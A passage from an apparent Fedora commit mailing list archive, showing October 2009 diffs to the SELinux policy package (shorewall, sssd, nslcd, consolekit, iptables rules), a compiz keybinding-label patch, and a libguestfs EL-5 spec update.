 policy/modules/services/spamassassin.fc   |    8 
 policy/modules/services/spamassassin.te   |    2 
 policy/modules/services/squid.te          |    2 
 policy/modules/services/ssh.if            |   23 ++
 policy/modules/services/ssh.te            |   14 +
 policy/modules/services/sssd.fc           |    7 
 policy/modules/services/sssd.if           |   16 -
 policy/modules/services/sssd.te           |   41 ++--
 policy/modules/services/tftp.fc           |    2 
 policy/modules/services/uucp.te           |    2 
 policy/modules/services/virt.fc           |    1 
 policy/modules/services/virt.te           |   27 ++
 policy/modules/services/xserver.fc        |    3 
 policy/modules/services/xserver.if        |   41 ++++
 policy/modules/services/xserver.te        |   17 +
 policy/modules/system/authlogin.fc        |    3 
 policy/modules/system/authlogin.if        |  270 ++++++++++++++++++-----------
 policy/modules/system/authlogin.te        |   27 +-
 policy/modules/system/init.fc             |    2 
 policy/modules/system/init.te             |    6 
 policy/modules/system/ipsec.te            |   61 +++++-
 policy/modules/system/iptables.te         |    8 
 policy/modules/system/iscsi.te            |    1 
 policy/modules/system/libraries.fc        |   13 +
 policy/modules/system/locallogin.te       |    6 
 policy/modules/system/logging.fc          |    1 
 policy/modules/system/logging.te          |    4 
 policy/modules/system/miscfiles.fc        |    1 
 policy/modules/system/mount.if            |    2 
 policy/modules/system/mount.te            |    1 
 policy/modules/system/sysnetwork.if       |    1 
 policy/modules/system/sysnetwork.te       |   17 +
 policy/modules/system/udev.fc             |    1 
 policy/modules/system/udev.te             |   10 +
 policy/modules/system/userdomain.if       |   35 ++-
 policy/modules/system/virtual.te          |    5 
 policy/modules/system/xen.te              |    1 
 173 files changed, 2619 insertions(+), 688 deletions(-)

Index: policy-20090521.patch
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/policy-20090521.patch,v
retrieving revision 1.58
retrieving revision 1.59
diff -u -p -r1.58 -r1.59
--- policy-20090521.patch	16 Oct 2009 13:03:47 -0000	1.58
+++ policy-20090521.patch	30 Oct 2009 08:13:46 -0000	1.59
@@ -294,8 +294,8 @@ diff -b -B --ignore-all-space --exclude-
  ')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/shorewall.fc serefpolicy-3.6.12/policy/modules/admin/shorewall.fc
 --- nsaserefpolicy/policy/modules/admin/shorewall.fc	1970-01-01 01:00:00.000000000 +0100
-+++ serefpolicy-3.6.12/policy/modules/admin/shorewall.fc	2009-06-25 10:21:01.000000000 +0200
-@@ -0,0 +1,12 @@
++++ serefpolicy-3.6.12/policy/modules/admin/shorewall.fc	2009-10-29 22:48:05.000000000 +0100
+@@ -0,0 +1,13 @@
 +
 +/etc/rc\.d/init\.d/shorewall        	--      gen_context(system_u:object_r:shorewall_initrc_exec_t,s0)
 +/etc/rc\.d/init\.d/shorewall-lite       --      gen_context(system_u:object_r:shorewall_initrc_exec_t,s0)
@@ -303,10 +303,11 @@ diff -b -B --ignore-all-space --exclude-
 +/etc/shorewall(/.*)?            		gen_context(system_u:object_r:shorewall_etc_t,s0)
 +/etc/shorewall-lite(/.*)?               	gen_context(system_u:object_r:shorewall_etc_t,s0)
 +
-+/sbin/shorewall				--	gen_context(system_u:object_r:shorewall_exec_t,s0)
++/sbin/shorewall6?                       --      gen_context(system_u:object_r:shorewall_exec_t,s0)
 +/sbin/shorewall-lite			--      gen_context(system_u:object_r:shorewall_exec_t,s0)
 +
 +/var/lib/shorewall(/.*)?			gen_context(system_u:object_r:shorewall_var_lib_t,s0)
++/var/lib/shorewall6(/.*)?                       gen_context(system_u:object_r:shorewall_var_lib_t,s0)
 +/var/lib/shorewall-lite(/.*)?           	gen_context(system_u:object_r:shorewall_var_lib_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/admin/shorewall.if serefpolicy-3.6.12/policy/modules/admin/shorewall.if
 --- nsaserefpolicy/policy/modules/admin/shorewall.if	1970-01-01 01:00:00.000000000 +0100
@@ -2474,7 +2475,7 @@ diff -b -B --ignore-all-space --exclude-
 +files_type(cobbler_var_lib_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/consolekit.te serefpolicy-3.6.12/policy/modules/services/consolekit.te
 --- nsaserefpolicy/policy/modules/services/consolekit.te	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/consolekit.te	2009-08-04 12:44:39.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/consolekit.te	2009-10-29 22:41:51.000000000 +0100
 @@ -14,7 +14,7 @@
  files_pid_file(consolekit_var_run_t)
  
@@ -2484,7 +2485,7 @@ diff -b -B --ignore-all-space --exclude-
  
  ########################################
  #
-@@ -50,6 +50,7 @@
+@@ -50,11 +50,14 @@
  files_read_usr_files(consolekit_t)
  # needs to read /var/lib/dbus/machine-id
  files_read_var_lib_files(consolekit_t)
@@ -2492,6 +2493,13 @@ diff -b -B --ignore-all-space --exclude-
  
  fs_list_inotifyfs(consolekit_t)
  
+ term_use_all_terms(consolekit_t)
+ 
++auth_manage_pam_console_data(consolekit_t)  
++
+ auth_use_nsswitch(consolekit_t)
+ 
+ init_telinit(consolekit_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/cron.if serefpolicy-3.6.12/policy/modules/services/cron.if
 --- nsaserefpolicy/policy/modules/services/cron.if	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/services/cron.if	2009-07-13 10:01:22.000000000 +0200
@@ -3511,8 +3519,8 @@ diff -b -B --ignore-all-space --exclude-
 +/var/run/nslcd(/.*)?			gen_context(system_u:object_r:nslcd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nslcd.if serefpolicy-3.6.12/policy/modules/services/nslcd.if
 --- nsaserefpolicy/policy/modules/services/nslcd.if	1970-01-01 01:00:00.000000000 +0100
-+++ serefpolicy-3.6.12/policy/modules/services/nslcd.if	2009-06-25 10:21:01.000000000 +0200
-@@ -0,0 +1,145 @@
++++ serefpolicy-3.6.12/policy/modules/services/nslcd.if	2009-10-29 22:58:40.000000000 +0100
+@@ -0,0 +1,144 @@
 +
 +## <summary>policy for nslcd</summary>
 +
@@ -3593,6 +3601,24 @@ diff -b -B --ignore-all-space --exclude-
 +         manage_lnk_files_pattern($1,nslcd_var_run_t,nslcd_var_run_t)
 +')
 +
++#######################################
++## <summary>
++##      Connect to nslcd over an unix stream socket.
++## </summary>
++## <param name="domain">
++##      <summary>
++##      Domain allowed to connect.
++##      </summary>
++## </param>
++#
++interface(`nslcd_stream_connect',`
++        gen_require(`
++                type nslcd_t, nslcd_var_run_t;
++        ')
++
++        stream_connect_pattern($1, nslcd_var_run_t, nslcd_var_run_t, nslcd_t)
++        files_search_pids($1)
++')
 +
 +########################################
 +## <summary>
@@ -3639,25 +3665,6 @@ diff -b -B --ignore-all-space --exclude-
 +')
 +
 +
-+########################################
-+## <summary>
-+##	Connect to nslcd over an unix stream socket.
-+## </summary>
-+## <param name="domain">
-+##	<summary>
-+##	Domain allowed access.
-+##	</summary>
-+## </param>
-+#
-+interface(`nslcd_use',`
-+	gen_require(`
-+		type nslcd_t, var_run_t, nslcd_var_run_t;
-+	')
-+
-+#	list_dirs_pattern($1, var_run_t, nslcd_var_run_t)
-+	write_sock_files_pattern($1, nslcd_var_run_t, nslcd_var_run_t)
-+	allow $1 nslcd_t:unix_stream_socket connectto;
-+')
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/nslcd.te serefpolicy-3.6.12/policy/modules/services/nslcd.te
 --- nsaserefpolicy/policy/modules/services/nslcd.te	1970-01-01 01:00:00.000000000 +0100
 +++ serefpolicy-3.6.12/policy/modules/services/nslcd.te	2009-06-25 10:21:01.000000000 +0200
@@ -4853,8 +4860,8 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.fc serefpolicy-3.6.12/policy/modules/services/sssd.fc
 --- nsaserefpolicy/policy/modules/services/sssd.fc	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/sssd.fc	2009-09-29 18:28:19.000000000 +0200
-@@ -1,6 +1,6 @@
++++ serefpolicy-3.6.12/policy/modules/services/sssd.fc	2009-10-29 22:53:13.000000000 +0100
+@@ -1,6 +1,9 @@
 +/etc/rc\.d/init\.d/sssd	--	gen_context(system_u:object_r:sssd_initrc_exec_t,s0)
  
  /usr/sbin/sssd	--	gen_context(system_u:object_r:sssd_exec_t,s0)
@@ -4862,10 +4869,13 @@ diff -b -B --ignore-all-space --exclude-
 -/etc/rc.d/init.d/sssd	--	gen_context(system_u:object_r:sssd_initrc_exec_t,s0)
 -/var/run/sssd.pid		--	gen_context(system_u:object_r:sssd_var_run_t,s0)
  /var/lib/sss(/.*)?			gen_context(system_u:object_r:sssd_var_lib_t,s0)
++
++/var/log/sssd(/.*)?             gen_context(system_u:object_r:sssd_var_lib_t,s0)
++
 +/var/run/sssd.pid	--	gen_context(system_u:object_r:sssd_var_run_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.if serefpolicy-3.6.12/policy/modules/services/sssd.if
 --- nsaserefpolicy/policy/modules/services/sssd.if	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/sssd.if	2009-09-29 18:28:19.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/services/sssd.if	2009-10-29 23:03:38.000000000 +0100
 @@ -1,5 +1,4 @@
 -
 -## <summary>policy for sssd</summary>
@@ -4916,8 +4926,8 @@ diff -b -B --ignore-all-space --exclude-
 -
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/services/sssd.te serefpolicy-3.6.12/policy/modules/services/sssd.te
 --- nsaserefpolicy/policy/modules/services/sssd.te	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/services/sssd.te	2009-09-29 18:28:19.000000000 +0200
-@@ -9,54 +10,45 @@
++++ serefpolicy-3.6.12/policy/modules/services/sssd.te	2009-10-29 23:01:59.000000000 +0100
+@@ -9,54 +10,51 @@
  type sssd_exec_t;
  init_daemon_domain(sssd_t, sssd_exec_t)
  
@@ -4932,6 +4942,9 @@ diff -b -B --ignore-all-space --exclude-
  type sssd_var_lib_t;
  files_type(sssd_var_lib_t)
  
++type sssd_var_log_t;
++logging_log_file(sssd_var_log_t)
++
 +type sssd_var_run_t;
 +files_pid_file(sssd_var_run_t)
 +
@@ -4962,11 +4975,14 @@ diff -b -B --ignore-all-space --exclude-
  files_var_lib_filetrans(sssd_t, sssd_var_lib_t, { file dir } )
  
 -corecmd_exec_bin(sssd_t)
++manage_files_pattern(sssd_t, sssd_var_log_t, sssd_var_log_t)
++logging_log_filetrans(sssd_t, sssd_var_log_t, file)
+ 
+-dev_read_urand(sssd_t)
 +manage_dirs_pattern(sssd_t, sssd_var_run_t, sssd_var_run_t)
 +manage_files_pattern(sssd_t, sssd_var_run_t, sssd_var_run_t)
 +files_pid_filetrans(sssd_t, sssd_var_run_t, { file dir })
- 
--dev_read_urand(sssd_t)
++
 +fs_list_inotifyfs(sssd_t)
  
  kernel_read_system_state(sssd_t)
@@ -4984,7 +5000,7 @@ diff -b -B --ignore-all-space --exclude-
  auth_use_nsswitch(sssd_t)
  auth_domtrans_chk_passwd(sssd_t)
  auth_domtrans_upd_passwd(sssd_t)
-@@ -68,6 +60,8 @@
+@@ -68,6 +66,8 @@
  
  miscfiles_read_localization(sssd_t)
  
@@ -5306,7 +5322,7 @@ diff -b -B --ignore-all-space --exclude-
 -/var/cache/coolkey(/.*)?	gen_context(system_u:object_r:auth_cache_t,s0)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/authlogin.if serefpolicy-3.6.12/policy/modules/system/authlogin.if
 --- nsaserefpolicy/policy/modules/system/authlogin.if	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/system/authlogin.if	2009-08-20 10:24:42.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/system/authlogin.if	2009-10-29 23:01:14.000000000 +0100
 @@ -30,6 +30,53 @@
  	dontaudit $2 shadow_t:file read_file_perms;
  ')
@@ -5537,7 +5553,7 @@ diff -b -B --ignore-all-space --exclude-
  	')
  
  	optional_policy(`
-+		nslcd_use($1)
++		nslcd_stream_connect($1)
 +	')
 +
 +	optional_policy(`
@@ -5979,8 +5995,8 @@ diff -b -B --ignore-all-space --exclude-
  ipsec_setcontext_default_spd(setkey_t)
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iptables.te serefpolicy-3.6.12/policy/modules/system/iptables.te
 --- nsaserefpolicy/policy/modules/system/iptables.te	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/system/iptables.te	2009-07-24 15:37:54.000000000 +0200
-@@ -101,6 +101,10 @@
++++ serefpolicy-3.6.12/policy/modules/system/iptables.te	2009-10-29 22:49:15.000000000 +0100
+@@ -101,10 +101,18 @@
  ')
  
  optional_policy(`
@@ -5991,6 +6007,14 @@ diff -b -B --ignore-all-space --exclude-
  	rhgb_dontaudit_use_ptys(iptables_t)
  ')
  
+ optional_policy(`
++        shorewall_rw_var_lib(iptables_t)
++')
++
++optional_policy(`
+ 	seutil_sigchld_newrole(iptables_t)
+ ')
+ 
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/iscsi.te serefpolicy-3.6.12/policy/modules/system/iscsi.te
 --- nsaserefpolicy/policy/modules/system/iscsi.te	2009-06-25 10:19:44.000000000 +0200
 +++ serefpolicy-3.6.12/policy/modules/system/iscsi.te	2009-06-25 10:21:01.000000000 +0200
@@ -6004,7 +6028,7 @@ diff -b -B --ignore-all-space --exclude-
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/libraries.fc serefpolicy-3.6.12/policy/modules/system/libraries.fc
 --- nsaserefpolicy/policy/modules/system/libraries.fc	2009-06-25 10:19:44.000000000 +0200
-+++ serefpolicy-3.6.12/policy/modules/system/libraries.fc	2009-10-02 07:38:02.000000000 +0200
++++ serefpolicy-3.6.12/policy/modules/system/libraries.fc	2009-10-29 23:08:40.000000000 +0100
 @@ -139,8 +139,10 @@
  /usr/lib(64)?/(nvidia/)?libGL(core)?\.so(\.[^/]*)* -- gen_context(system_u:object_r:textrel_shlib_t,s0)
  /usr/lib(64)?/fglrx/.*\.so(\.[^/]*)*	--	gen_context(system_u:object_r:textrel_shlib_t,s0)
@@ -6063,7 +6087,7 @@ diff -b -B --ignore-all-space --exclude-
 +/usr/lib(64)?/midori/.*\.so(\.[^/]*)*	gen_context(system_u:object_r:textrel_shlib_t,s0)
 +
 +# libraries for avidemux
-+/usr/lib/libADM_coreImage\.so	--	gen_context(system_u:object_r:textrel_shlib_t,s0)
++/usr/lib/libADM.*\.so(\.[^/]*)*		gen_context(system_u:object_r:textrel_shlib_t,s0)
  
 diff -b -B --ignore-all-space --exclude-from=exclude -N -u -r nsaserefpolicy/policy/modules/system/locallogin.te serefpolicy-3.6.12/policy/modules/system/locallogin.te
 --- nsaserefpolicy/policy/modules/system/locallogin.te	2009-06-25 10:19:44.000000000 +0200


Index: selinux-policy.spec
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/selinux-policy.spec,v
retrieving revision 1.908
retrieving revision 1.909
diff -u -p -r1.908 -r1.909
--- selinux-policy.spec	16 Oct 2009 11:58:40 -0000	1.908
+++ selinux-policy.spec	30 Oct 2009 08:13:46 -0000	1.909
@@ -20,7 +20,7 @@
 Summary: SELinux policy configuration
 Name: selinux-policy
 Version: 3.6.12
-Release: 86%{?dist}
+Release: 87%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: serefpolicy-%{version}.tgz
@@ -442,6 +442,12 @@ exit 0
 %endif
 
 %changelog
+* Fri Oct 30 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-87
+- Allow consolekit to manage /var/run/console directory
+- Fixed sssd policy
+- Allow iptables to work with shorewall
+- Add libADM* libs to textrel_shlib_t
+
 * Fri Oct 16 2009 Miroslav Grepl <mgrepl at redhat.com> 3.6.12-86
 - Allow xdm to unlink xauth_home_t
 



From drago01 at fedoraproject.org  Fri Oct 30 08:22:45 2009
From: drago01 at fedoraproject.org (drago01)
Date: Fri, 30 Oct 2009 08:22:45 +0000 (UTC)
Subject: rpms/compiz/F-12 compiz-0.8.2-keybinding-lables.patch, NONE,
	1.1 compiz.spec, 1.186, 1.187
Message-ID: <20091030082245.3399411C00E8@cvs1.fedora.phx.redhat.com>

Author: drago01

Update of /cvs/pkgs/rpms/compiz/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22061

Modified Files:
	compiz.spec 
Added Files:
	compiz-0.8.2-keybinding-lables.patch 
Log Message:
Use better lables for keybindings

compiz-0.8.2-keybinding-lables.patch:
 obs.xml.in |   25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

--- NEW FILE compiz-0.8.2-keybinding-lables.patch ---
>From f089351c2d6d62302e59f52a810b722808a4a574 Mon Sep 17 00:00:00 2001
From: Danny Baumann <dannybaumann at web.de>
Date: Thu, 29 Oct 2009 12:05:35 +0000
Subject: Make short descriptions of bindings a _little_ more verbose.

---
diff --git a/metadata/obs.xml.in b/metadata/obs.xml.in
index dc5bbc2..518e7b8 100644
--- a/metadata/obs.xml.in
+++ b/metadata/obs.xml.in
@@ -14,22 +14,22 @@
 	    <group>
 		<_short>Opacity</_short>
 		<option name="opacity_increase_key" type="key">
-		    <_short>Increase</_short>
+		    <_short>Increase Opacity</_short>
 		    <_long>Opacity Increase</_long>
 		    <default/>
 		</option>
 		<option name="opacity_increase_button" type="button">
-		    <_short>Increase</_short>
+		    <_short>Increase Opacity</_short>
 		    <_long>Opacity Increase</_long>
 		    <default>&lt;Alt&gt;Button4</default>
 		</option>
 		<option name="opacity_decrease_key" type="key">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Opacity</_short>
 		    <_long>Opacity Decrease</_long>
 		    <default/>
 		</option>
 		<option name="opacity_decrease_button" type="button">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Opacity</_short>
 		    <_long>Opacity Decrease</_long>
 		    <default>&lt;Alt&gt;Button5</default>
 		</option>
@@ -37,22 +37,22 @@
 	    <group>
 		<_short>Brightness</_short>
 		<option name="brightness_increase_key" type="key">
-		    <_short>Increase</_short>
+		    <_short>Increase Brightness</_short>
 		    <_long>Brightness Increase</_long>
 		    <default/>
 		</option>
 		<option name="brightness_increase_button" type="button">
-		    <_short>Increase</_short>
+		    <_short>Increase Brightness</_short>
 		    <_long>Brightness Increase</_long>
 		    <default/>
 		</option>
 		<option name="brightness_decrease_key" type="key">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Brightness</_short>
 		    <_long>Brightness Decrease</_long>
 		    <default/>
 		</option>
 		<option name="brightness_decrease_button" type="button">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Brightness</_short>
 		    <_long>Brightness Decrease</_long>
 		    <default/>
 		</option>
@@ -60,22 +60,22 @@
 	    <group>
 		<_short>Saturation</_short>
 		<option name="saturation_increase_key" type="key">
-		    <_short>Increase</_short>
+		    <_short>Increase Saturation</_short>
 		    <_long>Saturation Increase</_long>
 		    <default/>
 		</option>
 		<option name="saturation_increase_button" type="button">
-		    <_short>Increase</_short>
+		    <_short>Increase Saturation</_short>
 		    <_long>Saturation Increase</_long>
 		    <default/>
 		</option>
 		<option name="saturation_decrease_key" type="key">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Saturation</_short>
 		    <_long>Saturation Decrease</_long>
 		    <default/>
 		</option>
 		<option name="saturation_decrease_button" type="button">
-		    <_short>Decrease</_short>
+		    <_short>Decrease Saturation</_short>
 		    <_long>Saturation Decrease</_long>
 		    <default/>
 		</option>
--
cgit v0.8.2


Index: compiz.spec
===================================================================
RCS file: /cvs/pkgs/rpms/compiz/F-12/compiz.spec,v
retrieving revision 1.186
retrieving revision 1.187
diff -u -p -r1.186 -r1.187
--- compiz.spec	26 Oct 2009 23:55:49 -0000	1.186
+++ compiz.spec	30 Oct 2009 08:22:44 -0000	1.187
@@ -13,7 +13,7 @@ URL:            http://www.go-compiz.org
 License:        GPLv2+ and LGPLv2+ and MIT
 Group:          User Interface/Desktops
 Version:        0.8.2
-Release:        18%{?dist}
+Release:        19%{?dist}
 
 Summary:        OpenGL window and compositing manager
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -71,6 +71,8 @@ Patch126: compiz-0.8.2-gconf-buildfix.pa
 
 Patch127: unknown-key.patch
 
+Patch128: compiz-0.8.2-keybinding-lables.patch
+
 %description
 Compiz is one of the first OpenGL-accelerated compositing window
 managers for the X Window System. The integration allows it to perform
@@ -140,6 +142,7 @@ and other kde integration related stuff.
 %patch125 -p1 -b .gnome-terminal
 %patch126 -p1 -b .gconf
 %patch127 -p1 -b .unknown-key
+%patch128 -p1 -b .keybinding-lables
 
 %build
 rm -rf $RPM_BUILD_ROOT
@@ -318,6 +321,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Adel Gadllah <adel.gadllah at gmail.com> - 0.8.2-17
+- Use better lables for keybindings
+
 * Mon Oct 26 2009 Matthias Clasen <mclasen at redhat.com> - 0.8.2-18
 - Better fix for keybindings
 



From mgrepl at fedoraproject.org  Fri Oct 30 08:40:37 2009
From: mgrepl at fedoraproject.org (Miroslav Grepl)
Date: Fri, 30 Oct 2009 08:40:37 +0000 (UTC)
Subject: rpms/selinux-policy/F-11 modules-minimum.conf, 1.25,
	1.26 modules-mls.conf, 1.54, 1.55
Message-ID: <20091030084037.D5F8611C0376@cvs1.fedora.phx.redhat.com>

Author: mgrepl

Update of /cvs/extras/rpms/selinux-policy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27375

Modified Files:
	modules-minimum.conf modules-mls.conf 
Log Message:
- Allow iptables to work with shorewall




Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/modules-minimum.conf,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- modules-minimum.conf	30 Sep 2009 15:56:03 -0000	1.25
+++ modules-minimum.conf	30 Oct 2009 08:40:34 -0000	1.26
@@ -1259,6 +1259,13 @@ setrans = base
 # 
 setroubleshoot = base
 
+# Layer: admin
+# Module: shorewall
+#
+# Policy for shorewall
+# 
+shorewall = base
+
 # Layer: services
 # Module: slrnpull
 #


Index: modules-mls.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-11/modules-mls.conf,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- modules-mls.conf	3 Apr 2009 14:45:58 -0000	1.54
+++ modules-mls.conf	30 Oct 2009 08:40:35 -0000	1.55
@@ -1805,3 +1805,9 @@ milter = module
 # 
 wm = module
 
+# Layer: admin
+# Module: shorewall
+#
+# Policy for shorewall
+# 
+shorewall = base



From rjones at fedoraproject.org  Fri Oct 30 08:59:24 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 30 Oct 2009 08:59:24 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.81,1.82
Message-ID: <20091030085924.C503B11C00E8@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32276

Modified Files:
	libguestfs.spec 
Log Message:
* Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.2
- Try building tools now that EPEL may have been rebased to 5.4.
- Tests disabled *temporarily* to allow faster builds.



Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.81
retrieving revision 1.82
diff -u -p -r1.81 -r1.82
--- libguestfs.spec	29 Oct 2009 20:25:37 -0000	1.81
+++ libguestfs.spec	30 Oct 2009 08:59:22 -0000	1.82
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.76
-Release:     1%{?dist}
+Release:     1%{?dist}.2
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -20,7 +20,7 @@ ExclusiveArch: %{ix86} x86_64
 BuildRequires: /usr/bin/pod2man
 BuildRequires: /usr/bin/pod2text
 BuildRequires: febootstrap >= 2.3
-#BuildRequires: augeas-devel >= 0.5.0
+BuildRequires: augeas-devel >= 0.5.0
 BuildRequires: readline-devel
 BuildRequires: mkisofs
 BuildRequires: libxml2-devel
@@ -39,24 +39,22 @@ BuildRequires: ncurses-devel
 
 # Build requirements for the appliance (see 'make.sh.in' in the source):
 BuildRequires: kernel, bash, coreutils, lvm2
-BuildRequires: MAKEDEV, net-tools, file
+BuildRequires: MAKEDEV, net-tools, augeas-libs, file
 BuildRequires: module-init-tools, procps, strace, iputils
-BuildRequires: dosfstools, lsof, scrub, libselinux
+BuildRequires: dosfstools, zerofree, lsof, scrub, libselinux
 BuildRequires: e4fsprogs
-# Not supported in EPEL yet: ntfs-3g util-linux-ng zerofree
-# Not working: augeas-libs
+# Not supported in EPEL yet: ntfs-3g util-linux-ng 
 %ifarch %{ix86} x86_64
 BuildRequires: grub, ntfsprogs
 %endif
 
 # Must match the above set of BuildRequires exactly!
 Requires:      kernel, bash, coreutils, lvm2
-Requires:      MAKEDEV, net-tools, file
+Requires:      MAKEDEV, net-tools, augeas-libs, file
 Requires:      module-init-tools, procps, strace, iputils
-Requires:      dosfstools, lsof, scrub, libselinux
+Requires:      dosfstools, zerofree, lsof, scrub, libselinux
 Requires:      e4fsprogs
-# Not supported in EPEL yet: ntfs-3g util-linux-ng zerofree
-# Not working: augeas-libs
+# Not supported in EPEL yet: ntfs-3g util-linux-ng 
 %ifarch %{ix86} x86_64
 Requires:      grub, ntfsprogs
 %endif
@@ -66,13 +64,13 @@ Requires:      grub, ntfsprogs
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
 BuildRequires: ocaml-xml-light-devel
-#BuildRequires: perl-devel
+BuildRequires: perl-devel
 #BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
 BuildRequires: perl-Test-Pod-Coverage
 #BuildRequires: perl-ExtUtils-MakeMaker
 BuildRequires: perl-XML-Writer
-#BuildRequires: perl-libintl
+BuildRequires: perl-libintl
 BuildRequires: python-devel
 BuildRequires: ruby-devel
 BuildRequires: rubygem-rake
@@ -81,7 +79,7 @@ BuildRequires: jpackage-utils
 BuildRequires: java-devel
 
 # For libguestfs-tools:
-#BuildRequires: perl-Sys-Virt
+BuildRequires: perl-Sys-Virt
 
 # Runtime requires:
 %ifarch %{ix86} x86_64
@@ -148,7 +146,7 @@ Group:       Development/Tools
 License:     GPLv2+
 Requires:    %{name} = %{epoch}:%{version}-%{release}
 Requires:    /usr/bin/pod2text
-#Requires:    virt-inspector
+Requires:    virt-inspector
 
 
 %description -n guestfish
@@ -157,62 +155,62 @@ modifying virtual machine disk images fr
 scripts.
 
 
-# %package tools
-# Summary:     System administration tools for virtual machines
-# Group:       Development/Tools
-# License:     GPLv2+
-# Requires:    %{name} = %{epoch}:%{version}-%{release}
-# Requires:    guestfish
-# Requires:    perl-Sys-Virt
-
-# # Obsolete and replace earlier packages.
-# Provides:    virt-cat = %{epoch}:%{version}-%{release}
-# Obsoletes:   virt-cat <= %{epoch}:%{version}-%{release}
-# Provides:    virt-df = %{epoch}:%{version}-%{release}
-# Obsoletes:   virt-df <= %{epoch}:%{version}-%{release}
-# Provides:    virt-inspector = %{epoch}:%{version}-%{release}
-# Obsoletes:   virt-inspector <= %{epoch}:%{version}-%{release}
-
-# # RHBZ#514309
-# Provides:    virt-df2 = %{epoch}:%{version}-%{release}
-# Obsoletes:   virt-df2 <= %{epoch}:%{version}-%{release}
-
-# # These were never packages:
-# Provides:    virt-edit = %{epoch}:%{version}-%{release}
-# Provides:    virt-rescue = %{epoch}:%{version}-%{release}
-
-
-# %description tools
-# This package contains miscellaneous system administrator command line
-# tools for virtual machines.
-
-# Virt-cat is a command line tool to display the contents of a file in a
-# virtual machine.
-
-# Virt-df is a command line tool to display free space on virtual
-# machine filesystems.  Unlike other tools, it doesn?t just display the
-# amount of space allocated to a virtual machine, but can look inside
-# the virtual machine to see how much space is really being used.  It is
-# like the df(1) command, but for virtual machines, except that it also
-# works for Windows virtual machines.
-
-# Virt-edit is a command line tool to edit the contents of a file in a
-# virtual machine.
-
-# Virt-inspector examines a virtual machine and tries to determine the
-# version of the OS, the kernel version, what drivers are installed,
-# whether the virtual machine is fully virtualized (FV) or
-# para-virtualized (PV), what applications are installed and more.
-
-# Virt-ls is a command line tool to list out files in a virtual machine.
+%package tools
+Summary:     System administration tools for virtual machines
+Group:       Development/Tools
+License:     GPLv2+
+Requires:    %{name} = %{epoch}:%{version}-%{release}
+Requires:    guestfish
+Requires:    perl-Sys-Virt
+
+# Obsolete and replace earlier packages.
+Provides:    virt-cat = %{epoch}:%{version}-%{release}
+Obsoletes:   virt-cat <= %{epoch}:%{version}-%{release}
+Provides:    virt-df = %{epoch}:%{version}-%{release}
+Obsoletes:   virt-df <= %{epoch}:%{version}-%{release}
